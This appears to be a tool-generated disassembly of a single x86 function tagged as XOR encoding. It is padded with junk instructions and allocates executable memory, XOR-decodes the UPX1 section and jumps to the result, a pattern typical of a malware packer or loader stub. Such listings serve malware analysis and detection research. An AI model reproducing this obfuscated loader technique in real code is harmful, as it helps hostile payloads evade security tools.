Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xababec4
not esi
add ebx, 0x55448e8c
popal
dec esi
and ebx, esi
mov edx, 0
mov ecx, edi
sub ebx, 0x590f0dee
sub esi, ebx
mov eax, ecx
mov ebx, 0x53214873
not esi
mov esi, 0xef99e538
mov edi, eax
and ebx, ebx
sub esi, ebx
add edx, 1
add ebx, esi
mov ebx, esi
sub esi, 0x8bf991d4
cmp edx, 0x10016e6
jne 0x47afcf
sub ebx, 1
add ebx, ebx
and ebx, ebx
cmp edx, 0x10016e6
je 0x47b022
mov ebx, 0
mov ecx, dword [ebx]
inc esi
add esi, 0x3a2bad60
add esi, 0xfa6c496c
inc ebx
add ebx, 0x6ded0034
mov ecx, 0x47ada2
add eax, 0x2015414e
and edi, esi
mov ebx, 0x47af96
and eax, esi
sub edi, esi
mov edx, dword [ecx]
mov eax, 0xaca62a61
dec edi
and edx, 0xff
not esi
mov edi, 0x7f41e2b6
add eax, esi
xor dword [ebx], edx
or esi, esi
add edi, 1
mov edi, eax
add ebx, 1
add eax, 0x224c2e16
sub edi, esi
add ecx, 1
sub esi, 1
mov eax, 0xbea35796
or eax, eax
cmp ebx, entry0
jl 0x47b04c
sub eax, 0x45e33e20
dec edi
sub edi, 0x8532caff
dec eax
mov edi, esi
mov ebx, esi
inc ebx
add esi, 1
mov ecx, 0x47af9a
sub edx, 0x5a0e5901
not edx
mov ecx, dword [ecx]
not edi
sub edx, esi
mov ecx, dword [ecx]
sub edi, edx
add edx, 0x961c8778
inc esi
push ecx
mov edi, esi
sub edx, 0x8a89b65f
mov ecx, 0x47af96
or edi, esi
mov ebx, edx
dec esi
mov ecx, dword [ecx]
mov ebx, edx
mov ebx, 0xfe950b4c
inc ebx
mov ecx, dword [ecx]
or esi, edx
sub esi, edi
sub esp, 4
mov dword [esp], 0x47af9e
add esi, ebx
dec edi
call ecx
mov edi, 0xfa4d655e
add edi, ebx
mov edx, 0x47662f8
pop ecx
sub esi, 0x8fe66979
add edi, 0xe56d44fc
push 0x47afab
mov edi, 0xb76f96b2
sub edx, ebx
sub esi, 0xd810c9af
push eax
and edi, edi
sub esi, 0xfd072fe5
call ecx
mov ebx, edx
mov ebx, edx
dec edx
push 0x40
sub edi, 0x3d5ebe49
add esi, 0x9c2e9b40
push 0x3000
sub esi, 0x4363bc37
and edi, edi
mov edx, 0x14fd3e67
push 0x2000099f
add ebx, ebx
and edx, esi
or ebx, edx
push 0
sub ebx, 0xcbbd61d6
mov edi, 0xbb056f11
or esi, esi
call eax
sub ebx, 0x22d89a97
mov ebx, esi
add eax, 0x2000092a
not edi
mov ebx, 0x63244e96
not edx
mov ecx, 0xa59b95d6
inc esi
not edx
mov dword [eax], ecx
or edx, esi
mov edx, edi
dec edi
mov ecx, dword [eax]
and edi, esi
inc ebx
cmp ecx, 0xa59b95d6
je 0x47b1bc
mov ecx, 0
mov byte [ecx], al
mov ebx, 0xae1ce919
not esi
mov ebx, edi
mov esi, ebx
or esi, ebx
and edi, edx
sub esi, 1
not ebx
add esi, ebx
mov eax, section.UPX1
mov esi, 0xfc553348
add esi, 0x44058dee
or ebx, esi
mov edi, 0x47ada1
and esi, ebx
or ebx, ebx
mov ecx, 0
sub esi, 0xca7b14e2
and ebx, esi
dec esi
mov edx, 0x47ada2
dec ebx
and esi, ebx
inc ebx
lea edx, [edx + ecx]
inc ebx
sub esi, 0xbd45f648
mov edx, dword [edx]
or esi, esi
sub ebx, esi
mov ebx, esi
and edx, 0xff
and ebx, ebx
and esi, ebx
inc ecx
add esi, 0xc9648621
inc ebx
sub esi, 0xf3ccc2e6
cmp ecx, 0x1f4
jne 0x47b23e
mov ecx, 0
sub ebx, esi
sub esi, 1
add esi, esi
sub esi, 0xb24c9485
and esi, ebx
xor dword [eax], edx
add esi, esi
sub ebx, 1
add eax, 2
sub ebx, 0x8d25913e
mov esi, 0x8ab4e3d3
not ebx
cmp eax, edi
jl 0x47b1fe
not esi
mov esi, ebx
and esi, ebx
add esi, 0xa14bb37b
inc esi
mov esi, section.UPX1
add edx, 1
add edx, edx
mov ebx, section.UPX1
mov ecx, 0x925911a4
add ecx, edx
mov edi, 0x47ada1
sub ecx, 0x2b9c04e8
mov edx, 0x83edbef2
add ecx, 0x2a48b532
mov eax, 0
mov ecx, 0x14588d6c
mov edx, ecx
inc ecx
mov al, byte [ebx]
or ecx, ecx
dec ecx
mov ecx, 0xb5f95e0a
mov byte [esi], al
sub edx, ecx
or ecx, edx
inc esi
add ecx, 0x9ffab5f4
add ecx, edx
add ebx, 2
add edx, ecx
add ecx, edx
cmp ebx, edi
jle 0x47b2be
add ecx, 0x94ec76a3
add ecx, 0xaa4e01dd
add ecx, ecx
add esi, esi
or ebx, esi
push 0x45e6a0
mov esi, ebx
or ebx, esi
inc esi
ret